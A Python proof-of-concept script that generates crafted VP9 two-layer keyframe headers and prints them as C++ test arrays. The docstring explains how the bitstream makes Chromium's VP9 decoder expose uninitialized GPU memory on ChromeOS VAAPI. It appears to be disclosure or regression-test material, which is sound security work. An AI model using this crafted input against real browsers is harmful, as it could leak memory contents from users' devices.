#!/usr/bin/env python3
"""
Generate a crafted VP9 k-SVC bitstream with two spatial layers:
  - Layer A: keyframe, frame_size = 256x256, render_size = frame_size
  - Layer B: keyframe, frame_size = 64x64,   render_size = 256x256

When fed to media::VP9Decoder with side_data->spatial_layers = [len(A), len(B)],
Vp9Parser::ParseSVCFrame() stamps allocate_size = max(256x256, 64x64) = 256x256
onto BOTH layers. VP9Decoder::Decode() then clamps layer B's render_rect (256x256)
against allocate_size (256x256) instead of frame_size (64x64), so the clamp
passes and OutputPicture() is called with visible_rect = 256x256 for a frame
whose decoded region is only 64x64.

On ChromeOS x86 VAAPI, the VA driver decodes only the 64x64 region into a
256x256 surface; the remaining pixels are uninitialized / stale GPU memory
that is then exposed to the renderer via the oversized visible_rect.
"""

class BitWriter:
    def __init__(self):
        self.bits = []  # list of 0/1 ints, MSB-first per byte

    def write(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.bits.append((value >> i) & 1)

    def bytes(self):
        # pad to byte boundary with zeros (parser requires trailing bits == 0)
        while len(self.bits) % 8:
            self.bits.append(0)
        out = bytearray()
        for i in range(0, len(self.bits), 8):
            b = 0
            for j in range(8):
                b = (b << 1) | self.bits[i + j]
            out.append(b)
        return bytes(out)


def make_vp9_keyframe(frame_w, frame_h, render_w=None, render_h=None):
    """Craft a minimal VP9 profile-0 keyframe uncompressed header.
    Only the uncompressed header is meaningful; the 1-byte compressed header
    is dummy (the unit test's mock accelerator does not actually decode)."""
    w = BitWriter()
    w.write(0b10, 2)       # frame_marker
    w.write(0, 1)          # profile_low_bit
    w.write(0, 1)          # profile_high_bit  -> profile 0
    w.write(0, 1)          # show_existing_frame
    w.write(0, 1)          # frame_type = KEYFRAME
    w.write(1, 1)          # show_frame
    w.write(1, 1)          # error_resilient_mode (skip refresh/parallel bits)
    # frame sync code
    w.write(0x49, 8)
    w.write(0x83, 8)
    w.write(0x42, 8)
    # color config (profile 0): color_space(3) + color_range(1)
    w.write(0, 3)          # color_space = UNKNOWN (not SRGB)
    w.write(0, 1)          # color_range
    # frame size
    w.write(frame_w - 1, 16)
    w.write(frame_h - 1, 16)
    # render size
    if render_w is None:
        w.write(0, 1)      # render_and_frame_size_different = 0
    else:
        w.write(1, 1)
        w.write(render_w - 1, 16)
        w.write(render_h - 1, 16)
    # error_resilient_mode=1 -> skip refresh_frame_context, frame_parallel
    w.write(0, 2)          # frame_context_idx
    # loop filter params
    w.write(0, 6)          # level
    w.write(0, 3)          # sharpness
    w.write(0, 1)          # delta_enabled
    # quantization params
    w.write(0, 8)          # base_q_idx
    w.write(0, 1)          # delta_q_y_dc present
    w.write(0, 1)          # delta_q_uv_dc present
    w.write(0, 1)          # delta_q_uv_ac present
    # segmentation params
    w.write(0, 1)          # segmentation_enabled
    # tile info: for both 64 and 256 wide -> sb64_cols<=4 -> min=max=0 -> no
    # increment_tile_cols bits read; just tile_rows_log2 bit.
    w.write(0, 1)          # tile_rows_log2 (first bit)
    # header_size_in_bytes (compressed header length) -- must be > 0
    w.write(1, 16)
    uncompressed = w.bytes()
    # append 1 dummy byte for the "compressed header"
    return uncompressed + b"\x00"


def main():
    layer_a = make_vp9_keyframe(256, 256)
    layer_b = make_vp9_keyframe(64, 64, render_w=256, render_h=256)
    print(f"// Layer A: 256x256 keyframe, render=frame ({len(layer_a)} bytes)")
    print("constexpr uint8_t kLayerA[] = {")
    print("    " + ", ".join(f"0x{b:02x}" for b in layer_a))
    print("};")
    print(f"// Layer B: 64x64 keyframe, render=256x256 ({len(layer_b)} bytes)")
    print("constexpr uint8_t kLayerB[] = {")
    print("    " + ", ".join(f"0x{b:02x}" for b in layer_b))
    print("};")
    print(f"// spatial_layers = [{len(layer_a)}, {len(layer_b)}]")


if __name__ == "__main__":
    main()